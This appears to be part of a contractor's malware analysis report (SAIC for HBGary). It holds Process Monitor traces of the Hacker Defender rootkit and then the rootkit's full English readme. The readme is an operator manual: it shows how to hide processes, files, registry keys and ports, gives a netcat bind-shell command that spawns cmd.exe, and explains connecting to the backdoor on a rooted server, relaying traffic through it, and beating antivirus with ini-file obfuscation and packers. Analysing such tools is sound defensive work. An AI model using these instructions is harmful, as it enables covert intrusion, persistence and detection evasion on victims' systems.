<td>CreateFile</td>
<td>C:\WINDOWS\system32\ole32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\ole32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\imm32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\imm32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\ctype.nls</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\ctype.nls</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\sortkey.nls</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\sortkey.nls</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CloseFile</td>
<td>C:\WINDOWS\system32\ntdll.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CloseFile</td>
<td>C:\WINDOWS\system32\kernel32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CloseFile</td>
<td>C:\WINDOWS\system32\unicode.nls</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CloseFile</td>
<td>C:\WINDOWS\system32\locale.nls</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CloseFile</td>
<td>C:\WINDOWS\system32\sorttbls.nl</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CloseFile</td>
<td>C:\Documents and Settings\210user\Desktop\hxdOFena.a.exe</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Process Explorer Thread Stack hxdOFena.exe

<table>
<thead>
<tr>
<th>Module</th>
<th>Function</th>
<th>Offset</th>
</tr>
</thead>
<tbody>
<tr>
<td>ntoskrnl.exe</td>
<td>ExReleaseResourceLite</td>
<td>0x1a3</td>
</tr>
<tr>
<td>ntoskrnl.exe</td>
<td>PsGetContextThread</td>
<td>0x329</td>
</tr>
<tr>
<td>ntoskrnl.exe</td>
<td>FsRtlInitializeFileLock</td>
<td>0x83f</td>
</tr>
<tr>
<td>ntoskrnl.exe</td>
<td>FsRtlInitializeFileLock</td>
<td>0x87e</td>
</tr>
<tr>
<td>FLYPAPER.sys</td>
<td></td>
<td>0x1954</td>
</tr>
<tr>
<td>ntdll.dll</td>
<td>ZwYieldExecution</td>
<td>0xb78</td>
</tr>
<tr>
<td>ntdll.dll</td>
<td>KiFastSystemCallRet</td>
<td></td>
</tr>
<tr>
<td>kernel32.dll</td>
<td>ExitProcess</td>
<td>0x14</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td></td>
<td>0x3963</td>
</tr>
<tr>
<td>kernel32.dll</td>
<td>RegisterWaitForInputIdle</td>
<td>0x49</td>
</tr>
</tbody>
</table>

Miscellaneous Information and Summary

Hacker Defender Readme File

======================================================================[ Hacker defender - English readme ]======================================================================

NT Rootkit
---------
Authors:        Holy_Father <holy_father@phreaker.net>
                Ratter/29A <ratter@atlas.cz>
Version:        1.0.0 revisited
Birthday:       20.11.2005
Home:           http://www.hxdef.org, http://hxdef.net.ru,
Betatesters:    ch0pper <THEMASKDEMON@flashmail.com>
                aT4r <at4r@hotmail.com>
                phj34r <phj34r@gmail.com>
                unixdied <0edfd3cfd1f13ec030d3c7cbd54819@hush.ai>
                rebrinak
                GuYoMe
                ierdna <ierdna@go.ro>
                Afakasf <undefeatable@pobox.sk>
Readme:         Czech & English by holy_father
                French by GuYoMe

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
1. Contents
2. Introduction
   2.1 Idea
   2.2 Licence
3. Usage
4. Inifile
5. Backdoor
   5.1 Redirector
6. Technical issues
   6.1 Version
   6.2 Hooked API
   6.3 Known bugs
7. Faq
8. Files

Hacker defender (hxdef) is rootkit for Windows NT 4.0, Windows 2000, Windows XP and Windows Server 2003, it may also work on latest NT based systems. Main code is written in Delphi. New functions are written in assembler. Driver code is written in C. Support programs are coded mostly in Delphi.

program uses adapted LDE32
LDE32, Length-Disassembler Engine, 32-bit, (x) 1999-2000 Z0MBiE special edition for REVERT tool
version 1.05

program uses Superfast/Supertiny Compression/Encryption library
Superfast/Supertiny Compression/Encryption library.
(c) 1998 by Jacky Qwerty/29A.

The main idea of this program is to rewrite few memory segments in all running processes. Rewriting of some basic modules cause changes in processes behaviour. Rewriting must not affect the stability of the system or running processes.

Program must be absolutely hidden for all others. Now the user is able to hide files, processes, system services, system drivers, registry keys and values, open ports, cheat with free disk space. Program also masks its changes in memory and hides handles of hidden processes. Program installs hidden backdoors, register as hidden system service and installs hidden system driver. The technology of backdoor allowed to do the implantation of redirector.

This project is open source since version 1.0.0 but there exist also commercial versions with advanced features.

And of course authors are not responsible for what you're doing with Hacker defender.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Usage of hxdef is quite simple:

>hxdef100.exe [inifile]

or

>hxdef100.exe [switch]

Default name for inifile is EXENAME.ini where EXENAME is the name of executable of main program without extension. This is used if you run hxdef without specifying the inifile or if you run it with switch (so default inifile is hxdef100.ini).

These switches are available:

- installonly - only install service, but not run
- refresh - use to update settings from inifile
- noservice - doesn't install services and run normally
- uninstall - removes hxdef from the memory and kills all running backdoor connections

stopping hxdef service does the same now

Example:

>hxdef100.exe -refresh

Hxdef with its default inifile is ready to run without any change in inifile. But it's highly recommended to create your own settings. See 4. Inifile section for more information about inifile.

Switches -refresh and -uninstall can be called only from original exefile. This mean you have to know the name and path of running hxdef exefile to change settings or to uninstall it.

=====[ 4. Inifile ]===============================================================

Inifile must contain ten parts: [Hidden Table], [Hidden Processes], [Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues], [Startup Run], [Free Space], [Hidden Ports] and [Settings].

In [Hidden Table], [Hidden Processes], [Root Processes], [Hidden Services] a [Hidden RegValues] can be used character * as the wildcard in place of strings end. Asterisk can be used only on strings end, everything after first asterisks is ignored. All spaces before first and after last another string characters are ignored.

Example:

[Hidden Table]

hxdef* 

this will hide all files, dirs and processes which name start with "hxdef".

Hidden Table is a list of files and directories which should be hidden. All files and directories in this list will disappear from file managers. Make sure main file, inifile, your backdoor file and driver file are mentioned in this list.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Hidden Processes is a list of processes which should be hidden. They will be hidden in tasklist etc. Make sure main file and backdoor file is in this list.

Root Processes is a list of programs which will be immune against infection. You can see hidden files, directories and programs only with these root programs. So, root processes are for rootkit admins. To be mentioned in Root Processes doesn't mean you're hidden. It is possible to have root process which is not hidden and vice versa.

Hidden Services is a list of service and driver names which will be hidden in the database of installed services and drivers. Service name for the main rootkit program is HackerDefender100 as default, driver name for the main rootkit driver is HackerDefenderDrv100. Both can be changed in the inifile.

Hidden RegKeys is a list of registry keys which will be hidden. Rootkit has four keys in registry: HackerDefender100, LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100 as default. If you rename service name or driver name you should also change this list.

First two registry keys for service and driver are the same as its name. Next two are LEGACY_NAME. For example if you change your service name to BoomThisIsMySvc your registry entry will be LEGACY_BOOMTHISISMYSVC.

Hidden RegValues is a list of registry values which will be hidden.

Startup Run is a list of programs which rootkit run after its startup. These programs will have same rights as rootkit. Program name is divided from its arguments with question tag. Do not use " characters. Programs will terminate after user logon. Use common and well known methods for starting programs after user logon. You can use following shortcuts here:

- \%cmd\% - stands for system shell executable + path
  (e.g. C:\winnt\system32\cmd.exe)
- \%cmddir\% - stands for system shell executable directory
  (e.g. C:\winnt\system32\)
- \%sysdir\% - stands for system directory
  (e.g. C:\winnt\system32\)
- \%windir\% - stands for Windows directory
  (e.g. C:\winnt\)
- \%tmpdir\% - stands for temporary directory
  (e.g. C:\winnt\temp\)

Example:
1) [Startup Run]
c:\sys\nc.exe?-L -p 100 -t -e cmd.exe

netcat-shell is run after rootkit startup and listens on port 100

2) [Startup Run]
\%cmd\%?\e echo Rootkit started at \%TIME%>> \%tmpdir\%starttime.txt

this will put a time stamp to temporary_directory\starttime.txt
(e.g. C:\winnt\temp\starttime.txt) everytime rootkit starts
Free Space is a list of harddrives and a number of bytes you want to add to a free space. The list item format is X:NUM where X stands for the drive letter and NUM is the number of bytes that will be added to its number of free bytes.

Example:
[Free Space]
C:123456789
this will add about 123 MB more to shown free disk space of disk C

3) [Hidden Ports]
   TCPI: 
   TCPO: 
   UDP:53,54,55,56,800
toto skryje pet portu: 53/UDP, 54/UDP, 55/UDP, 56/UDP a 800/UDP

   Hidden Ports is a list of open ports that you want to hide from applications like OpPorts, FPort, Active Ports, Tcp View etc. It has three lines. First line format is TCPI:port1,port2,port3,..., second line format is TCPO:port1,port2,port3,..., third line format is UDP:port1,port2,port3,...

Example:
1) [Hidden Ports]
   TCPI:8080,456
   TCPO: 
   UDP: 
   this will hide two (inbound) ports: 8080/TCP and 456/TCP

2) [Hidden Ports]
   TCPI: 
   TCPO:8001
   UDP: 
   this will hide (outbound) port 8001/TCP

3) [Hidden Ports]
   TCPI: 
   TCPO: 
   UDP:53,54,55,56,800
   this will hide five ports: 53/UDP, 54/UDP, 55/UDP, 56/UDP and 800/UDP

   Settings contains eigth values: Password, BackdoorShell, FileMappingName, ServiceName, ServiceDisplayName, ServiceDescription, DriverName and DriverFileName.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Password which is 16 character string used when working with backdoor or redirector. Password can be shorter, rest is filled with spaces.

BackdoorShell is name for file copy of the system shell which is created by backdoor in temporary directory.

FileMappingName is the name of shared memory where the settings for hooked processes are stored.

ServiceName is the name of rootkit service.

ServiceDisplayName is display name for rootkit service.

ServiceDescription is description for rootkit service.

DriverName is the name for hxdef driver.

DriverFileName is the name for hxdef driver file.

Example:

[Settings]
Password=hxdef-rulez
BackdoorShell=hxdefa$.exe
FileMappingName=_.-=[Hacker Defender]=._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service 100
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys

this mean your backdoor password is "hxdef-rulez", backdoor will copy system shell file (usually cmd.exe) to "hxdefa$.exe" to temp. Name of shared memory will be "_.-=[Hacker Defender]=._". Name of a service is "HackerDefender100", its display name is "HXD Service 100", its description is "powerful NT rootkit". Name of a driver is "HackerDefenderDrv100". Driver will be stored in a file called "hxdefdrv.sys".

Extra characters |, <, >, ::, \ and " are ignored on all lines except [Startup Run], [Free Space] and [Hidden Ports] items and values in [Settings] after first = character. Using extra characters you can make your inifile immune from antivirus systems.

Example:

[H<<<idden T>>a/"ble]
>h"xdef"#

is the same as

[Hidden Table]
hxdef#

see hxdef100.ini and hxdef100.2.ini for more examples

All strings in inifile except those in Settings and Startup Run are case insensitive.

=====[ 5. Backdoor ]=====================================================================================

Rootkit hooks some API functions connected with receiving packets from the net. If incoming data equals to 256 bits long key, password and service are verified, the copy of a shell is created in a temp, its instance is created and next incoming data are redirected to this shell.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Because rootkit hooks all process in the system all TCP ports on all servers will be backdoors. For example, if the target has port 80/TCP open for HTTP, then this port will also be available as a backdoor. Exception here is for ports opened by System process which is not hooked. This backdoor will works only on servers where incoming buffer is larger or equal to 256 bits. But this feature is on almost all standard servers like Apache, IIS, Oracle. Backdoor is hidden because its packets go through common servers on the system. So, you are not able to find it with classic portscannier and this backdoor can easily go through firewall. Exception in this are classic proxies which are protocol oriented for e.g. FTP or HTTP.

During tests on IIS services was found that HTTP server does not log any of this connection, FTP and SMTP servers log only disconnection at the end. So, if you run hxdef on server with IIS web server, the HTTP port is probably the best port for backdoor connection on this machine.

You have to use special client if want to connect to the backdoor. Program bdcli100.exe is used for this.

Usage: bdcli100.exe host port password

Example:
>bdcli100.exe www.windowsserver.com 80 hxdef-rulez

this will connect to the backdoor if you rooted www.windowssserver.com before and left default hxdef password

Client for version 1.0.0 is not compatible with servers in older version.

======[ 5.1 Redirector ]=====================================

Redirector is based on backdoor technology. First connection packets are same as in backdoor connection. That mean you use same ports as for backdoor. Next packets are special packets for redirector only. These packets are made by redirectors base which is run on users computer. First packet of redirected connection defines target server and port.

The redirectors base saves its settings into its inifile which name depends on base exefile name (so default is rdrbs100.ini). If this file doesn't exist when base is run, it is created automatically. It is better not to modify this inifile externaly. All settings can be changed from base console.

If we want to use redirector on server where rootkit is installed, we have to run redirectors base on localhost before. Then in base console we have to create mapped port routed to server with hxdef. Finally we can connect on localhost base on chosen port and transfering data. Redirected data are coded with rootkit password. In this version connection speed is limited with about 256 kBps. Redirector is not determined to be used for hispeed connections in this version. Redirector is also limited with system where rootkit run. Redirector works with TCP protocol only.

In this version the base is controled with 19 commands. These are not case sensitive. Their function is described in HELP command. During the base startup are executed commands in startup-list. Startup-list commands are edited with commands which start with SU.

Redirector differentiate between two connection types (HTTP and other). If connection is other type packets are not changed. If it is HTTP type Host parametr in HTTP header is changed to the target server. Maximum redirectors
Redirector base fully works only on NT boxes. Only on NT program has tray icon and you can hide console with HIDE command. Only on NT base can be run in silent mode where it has no output, no icon and it does only commands in startup-list.

Examples:
1) getting mapped port info

>MPINFO
No mapped ports in the list.

2) add command MPINFO to startup-list and get startup-list commands:

>SUADD MPINFO
>suist
>0) MPINFO

3) using of HELP command:

>HELP
Type HELP COMMAND for command details.
Valid commands are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD, DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT, TEST
>HELP ADD
Create mapped port. You have to specify domain when using HTTP type.
usage: ADD <LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET SERVER> <TARGET SERVER PORT> <PASSWORD> [TYPE] [DOMAIN]
>HELP EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT [DIS]

4) add mapped port, we want to listen on localhost on port 100, rootkit is installed on server 200.100.2.36 on port 80, target server is www.google.com on port 80, rootkits password is bIgpWd, connection type is HTTP, ip address of target server (www.google.com) - we always have to know its ip - is 216.239.53.100:

>ADD 100 200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP www.google.com

Command ADD can be run without parameters, in this case we are asked for every parameter separately

5) now we can check mapped ports again with MPINFO:

>MPINFO
There are 1 mapped ports in the list. Currently 0 of them open.

6) enumeration of mapped port list:

>LIST
000:100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
7) Detailed description of one mapped port:

>DETAIL 0
Listening on port: 100
Mapping server address: 200.100.2.36
Mapping server port: 80
Target server address: 216.239.53.100
Target server port: 80
Password: bIgpWd
Port type: HTTP
Domain name for HTTP Host: www.google.com
Current state: CLOSED

8) We can test whether the rootkit is installed with out password on mapping server 200.100.2.36 (but this is not needed if we are sure about it):

>TEST 0
Testing 0) 200.100.2.36:80:bIgpWd - OK

If test failed it returns:

Testing 0) 200.100.2.36:80:bIgpWd - FAILED

9) Port is still closed and before we can use it, we have to open it with OPEN command, we can close port with CLOSE command when it is open, we can use flag ALL when want to apply these commands on all ports in the list, current state after required action is written after a while:

>OPEN 0
Port number 0 opened.
>CLOSE 0
Port number 0 closed.

or

>OPEN ALL
Port number 0 opened.

10) To save current settings and lists we can use SAVE command, this saves all to initfile (saving is also done by command EXIT without DIS flag):

>SAVE
Saved successfully.

Open port is all what we need for data transfer. Now you can open your favourite explorer and type http://localhost:100/ as url. If no problems you will see how main page on www.google.com is loaded.

First packets of connection can be delayed up to 5 seconds, but others are limited only by speed of server, your internet connection speed and by redirector technology which is about 256 kbps in this version.

[6. Technical issues ]

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCH80048. SBIR Data Rights apply.
This section contains no interesting information for common users. This section should be read by all betatesters and developers.

=====[ 6.1 Version ]=========================================================================================

1.0.0 revisited
+ compiler define for disabling NtOpenFile hook
+ outbound TCP connection hiding
+ separation between hidden files and processes - Hidden Processes
+ hidden files in Prefetch are deleted during initialization
+ disabling incompatible McAfee Buffer Overflow protection
x found and fixed several bugs, source code cleanup
x fixed old "NtQueryDirectoryFile().ReturnSingleEntry" bug
  (thanks to penyeluk)

1.0.0 + open source

0.8.4 + French readme
+ hook of NtCreateFile to hide file operations
+ hxdef mailslot name is dynamic
+ switch -uninstall for removing and updating hxdef
+ -.refresh can be run from original .exe file only
+ new readme - several corrections, more information, faq
+ shortcuts for [Startup Run]
+ free space cheating via NtQueryVolumeInformationFile hook
+ open ports hiding via NtDeviceIoControlFile hook
+ much more info in [Comments] in inifile
+ supporting Ctrl+C in backdoor session
+ FileMappingName is an option now
+ Root Processes running on the system level
+ handles hiding via NtQuerySystemInformation hook class 16
+ using system driver
+ antiantivirus inifile
+ more stable on Windows boot and shutdown
+ memory hiding improved
- found bug in backdoor client when pasting data from clipboard
x found and fixed bug in service name
x found and fixed increasing pid bug fixed via NtOpenProcess hook
x found and fixed bug in NtReadVirtualMemory hook
x found and fixed several small bugs
x found and fixed backdoor shell name bug fix

0.7.3 + direct hooking method
+ hiding files via NtQueryDirectoryFile hook
+ hiding files in ntvdm via NtVdmControl hook
+ new process hooking via NtResumeThread hook
+ process infection via LdrInitializeThunk hook
+ reg keys hiding via NtEnumerateKey hook
+ reg values hiding via NtEnumerateValueKey hook
+ dll infection via LdrLoadDll hook
+ more settings in inifile
+ safemode support
+ masking memory change in processes via NtReadVirtualMemory hook

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-200-
- fixed debugger bug
- fixed w2k MSTS bug
- found and fixed zzZ-service bug

0.5.1 + never more hooking WSOCK
- fixed bug with MSTS

0.5.0 + low level redir based on backdoor technique
+ password protection
+ name of inifile depends on exefile name
+ backdoor stability improved
- redirectors connection speed is limited about 256 kBps,
    imperfect implementation of redirector,
    imperfect design of redirector
- found chance to detect rootkit with symbolic link objects
- found bug in connection with MS Terminal Services
- found bug in hiding files in 16-bit applications
- found and fixed bug in services enumeration
- found and fixed bug in hooking servers

0.3.7 + possibility to change settings during running
+ wildcard in names of hidden files, process and services
+ possibility to add programs to rootkit startup
- fixed bug in hiding services on Windows NT 4.0

0.3.3 + stability really improved
- fixed all bugs for Windows XP
- found and fixed bug in hiding in registry
- found and fixed bug in backdoor with more clients

0.3.0 + connectivity, stability and functionality of backdoor improved
+ backdoor shell runs always on system level
+ backdoor shell is hidden
+ registry keys hiding
- found and fixed bug in root processes
- bug in XP after reboot

0.2.6 x fixed bug in backdoor

0.2.5 + fully interactive console
+ backdoor identification key is now only 256 bits long
+ improved backdoor installation
- bug in backdoor

0.2.1 + always run as service

0.2.0 + system service installation
+ hiding in database of installed services
+ hidden backdoor
+ no more working with windows

0.1.1 + hidden in tasklist
+ usage - possibility to specify name of inifile
- found and then fixed bug in communication

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
x fixed bug in using advapi
- found bug with debuggers

0.1.0 + infection of system services
+ smaller, tidier, faster code, more stable program
x fixed bug in communication

0.0.8 + hiding files
+ infection of new processes
- can't infect system services
- bug in communication

===[ 6.2 Hooked API ]==============================================

List of API functions which are hooked:

Kernel32.ReadFile
Ntdll.NtQuerySystemInformation (class 5 a 16)
Ntdll.NtQueryDirectoryFile
Ntdll.NtVdmControl
Ntdll.NtResumeThread
Ntdll.NtEnumerateKey
Ntdll.NtEnumerateValueKey
Ntdll.NtReadVirtualMemory
Ntdll.NtQueryVolumeInformationFile
Ntdll.NtDeviceIoControlFile
Ntdll.NtLdrLoadDll
Ntdll.NtOpenProcess
Ntdll.NtCreateFile
Ntdll.NtOpenFile
Ntdll.NtLdrInitializeThunk
WS2_32.recv
WS2_32.WSARecv
Advapi32.EnumServiceGroupW
Advapi32.EnumServicesStatusExW
Advapi32.EnumServicesStatusExA
Advapi32.EnumServicesStatusA

===[ 6.3 Known bugs ]==============================================

There is one known bug in this version.

1)
Backdoor client may crash when you paste more data from clipboard using
gight click to the console or using console menu. You can still paste the data
from clipboard using Ctrl+Ins, Shift+Ins if the program running in the console
supports this.

If you think you find the bug please report it to the public board
(or to betatesters board if you are betatester) or on <rootkit@host.sk>.
But be sure you've read this readme, faq section, todo list and the board and
you find nothing about what you want to write about before you write it.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract
teger NBCHC80048. SBIR Data Rights apply.
Because of many simple questions on the board I realize to create a faq section in this readme. Before you ask about anything read this readme twice and take special care to this section. Then read old messages on the board and after then if you still think you are not able to find an answer for your question you can put it on the board.

The questions are:

1) I've download hxdef, run it and can't get a rid of it. How can I uninstall it if I can't see its process, service and files?
2) Somebody hacked my box, run hxdef and I can't get a rid of it. How can I uninstall it and all that backdoors that were installed on my machine?
3) Is this program detected by antivirus software? And if yes, is there any way to beat it?
4) How is that I can't connect to backdoor on ports 135/TCP, 137/TCP, 138/TCP, 139/TCP or 445/TCP when target box has them open?
5) Is there any way to have hidden process which file on disk is visible?
6) How about hiding svchost.exe and others I can see in tasklist?
7) I'm using DameWare and I can see all your services and all that should be hidden. Is this the bug?
8) But anyone can see my hidden files via netbios. What should I do?
9) Backdoor client is not working. Everything seems ok, but after connecting I can't type anything and the whole console screen is black. What should I do?
10) When will we get the new version?
11) net.exe command can stop hidden services, is this the bug?
12) Is there any way to detect this rootkit?
13) So, how is it difficult to detect hxdef. And did somebody make a proggie that can do it?
14) So, how can I detect it?
15) Does the version number which starts with 0 mean that it is not stable version?
16) When will you publish the source? I've read it will be with the version 1.0.0, but when?
17) I want to be the betatestor, what should I do?
18) Is it legal to use hxdef?
19) Is it possible to update machine with old hxdef with this version? Is it possible without rebooting the machine?
20) Is it possible to update machine with this version of hxdef with a newer version I get in future? Is it possible without rebooting?
21) Is it better to use :uninstall or to use net stop ServiceName?
22) I really love this proggie. Can I support your work with a little donation?
23) Is there any chance to hide C:\temp and not to hide C:\winnt\temp?
24) I can see the password in inifile is plaintext! How is this possible?
25) If I have a process that is in Hidden Processes and it listens on a port, will this port be automatically hidden or should I put it to Hidden Ports?

Now get the answers:

1)
Q: I've download hxdef, run it and can't get a rid of it. How can I uninstall it if I can't see its process, service and files?

A: If you left default settings you can run shell and stop the service:

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Hxdef is implemented to uninstall completely is you stop its service. This does
the same as --:uninstall but you don't need to know where hxdef is.

If you changed ServiceName in infile Settings, type this in your shell:

```bash
>net stop ServiceName
```

where ServiceName stands for the value you set to ServiceName in infile.

If you forgot the name of the service you can boot your system from CD
and try to find hxdef infile and look there for ServiceName value and then
stop it as above.

2) Q: Somebody hacked my box, run hxdef and I can't get a rid of it. How can I
uninstall it and all that backdoors that were installed on my machine?

A: Only 100% solution is to reinstall your Windows. But if you want to do this
you'll have to find the infile like in question 1) above. Then after
uninstalling hxdef from your system go through infile and try to find all
files that match files in its lists, verify these files and delete them
if they belongs to the attacker.

3) Q: Is this program detected by antivirus software? And if yes, is there any way
to beat it?

A: Yes, and not only the exefile is detected, few antivirus systems also
detect infile and also driver file may be detected. The answer for second
question here is yes, you can beat it quite easily. On hxdef home site you can
find a tool called Morphine. If you use Morphine on hxdef exefile you will get
a new exefile which can't be detected with common antivirus systems. Inifile
is also designed to beat antivirus systems. You can add extra characters to it
to confuse antivirus systems. See 4. Inifile section for more info. Also see
included inifiles. There are two samples that are equal, but the first one is
using extra characters so it can't be detected by common antivirus systems.
Probably the best way is to use UPX before you use Morphine. UPX will reduce
the size of hxdef exefile and Morphine will make the antiantivirus shield.
See Morphine readme for more info about it.

4) Q: How is that I can't connect to backdoor on ports 135/TCP, 137/TCP, 138/TCP,
139/TCP or 445/TCP when target box has them open?

A: As mentioned in 5. Backdoor section of this readme backdoor need server
with incoming buffer larger or equal to 256 bits. And also system ports may
not work. If you have a problem with find open port that works you can simply
run netcat and listen on your own port. You should add this netcat port to
Hidden Ports in infile then.

5) The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract
number NBCHC80048. SBIR Data Rights apply.
Q: Is there any way to have hidden process which file on disk is visible?

A: No. And you also can't have a hidden file on disk of process which is visible in the task list.

6) Q: How about hiding svchost.exe and others I can see in tasklist?

A: This is really bad idea. If you hide common system processes your Windows can crash very soon. With hxdef you don't need to name your malicious files like svchost.exe, lsass.exe etc. you can name it with any name and add this name to Hidden Processes to hide them.

7) Q: I'm using DameWare and i can see all your services and all that should be hidden. Is this the bug?

A: Nope. DameWare and others who use remote sessions (and or netbios) can see hidden services because this feature is not implemented yet. It's a big difference between the bug and not implemented. See todo list on the web for things that are not implemented yet.

8) Q: But anyone can see my hidden files via netbios. What should I do?

A: Put your files deeply into the system directories or to directories that are not shared.

9) Q: Backdoor client is not working. Everything seems ok, but after connecting I can't type anything and the whole console screen is black. What should I do?

A: You probably use bad port for connecting. Hxdef tries to detect bad ports and disconnect you, but sometimes it is not able to detect you are using bad port. So, try to use different port.

10) Q: When will we get the new version?

A: Developers code this stuff in their free time. They take no money for this and they don't want to get the money for this. There are only two coders right now and we think this is enough for this project. This mean coding is not as fast as microsoft and you should wait and don't ask when the new version will be released. Unlike microsoft our product is free and we have good betatesters and we test this proggie a lot, so our public version are stable.

11) Q: net.exe command can stop hidden services, is this the bug?

A: Nope. It is not a bug, it is the feature. You still have to know the name of the service you want to stop and if it is hidden the only who can know it is the rootkit admin. Don't be scared this is the way how to detect you.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Q: Is there any way to detect this rootkit?

A: Yes. There are so many ways how to detect any rootkit and this one is not (and can't be) exception. Every rootkit can be detected. Only questions here are how is it difficult and did somebody make a proggie that can do it?

Q: So, how is it difficult to detect hxdef. And did somebody make a proggie that can do it?

A: It is very very easy to detect this, but I don't know special tool that can tell you that there is hxdef on your machine right now.

Q: So, how can I detect it?

A: I won't tell you this :)

Q: Does the version number which starts with 0 mean that it is not stable version?

A: No, it means that there are few things that are not implemented yet and that the source is closed and under development.

Q: When will you publish the source? I've read it will be with the version 1.0.0, but when?

A: I really don't know when. There are several things I want to implement before releasing 1.0.0. It can take a six months as well as a year or longer.

Q: I want to be the betatester, what should I do?

A: You should write me the mail about how can you contribute and what are your abilities for this job and your experiences with betatesting. But the chance to be a new betatester for this project is quite low. Right now we have enough testers who do a good job. No need to increase the number of them.

Q: Is it legal to use hxdef?

A: Sure it is, but hxdef can be easily misused for illegal activities.

Q: Is it possible to update machine with old hxdef with this version? Is it possible without rebooting the machine?

A: It isn't possible without rebooting the machine, but you can update it when you do a manual uninstall of that old version, reboot the machine and install the new version.
20) Q: Is it possible to update machine with this version of hxdef with a newer version I get in future? Is it possible without rebooting?

A: Yes! You can use -:uninstall to totally remove this version of hxdef without rebooting. Then simply install the new version.

21) Q: Is it better to use -:uninstall or to use net stop ServiceName?

A: The preferred way is to use -:uninstall if you have the chance. But net stop will also do the stuff.

22) Q: I really love this proggie. Can I support your work with a little donation?

A: We don't need it, but we will be you give your money to any of those beneficient organisations in your country and write us the mail about it.

23) Q: Is there any chance to hide C:\temp and not to hide C:\\winnt\temp?

A: No. Create your own directory with a specific name and put it to the Hidden Table.

24) Q: I can see the password in inifile is plaintext! How is this possible?

A: You might think this is quite unsecure way to store password but if you hide your inifile nobody can read it. So, it is secure. And it is easy to change anytime and you can use -:refresh to change the password easily.

25) Q: If I have a process that is in Hidden Processes and it listens on a port, will this port be automatically hidden or should I put it in Hidden Ports?

A: Only hidden ports are those in Hidden Ports list. So, yes, you should put it in to Hidden Ports.

=====[ 8. Files ]================================================================================================

An original archive of Hacker defender v1.0.0 contains these files:

- hxdef100.exe 70 656 b - program Hacker defender v1.0.0
- hxdOFena.exe 70 656 b - program Hacker defender v1.0.0 compiled with NtOpenFile hook enabled
- hxdef100.ini 4 119 b - inifile with default settings
- hxdef100.2.ini 3 924 b - inifile with default settings, variant 2
- bdcli100.exe 26 624 b - backdoor client
- rdrbs100.exe 49 152 b - redirectors base
- readmecz.txt 37 524 b - Czech version of readme file
- readmeen.txt 38 008 b - this readme file
- src.zip 93 741 b - source

================================================================================================[ End]=================================================================================================

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
FUtoEnhanced  Linderman
To start I have included the readme of FUtoEnhanced.

FUTo Readme
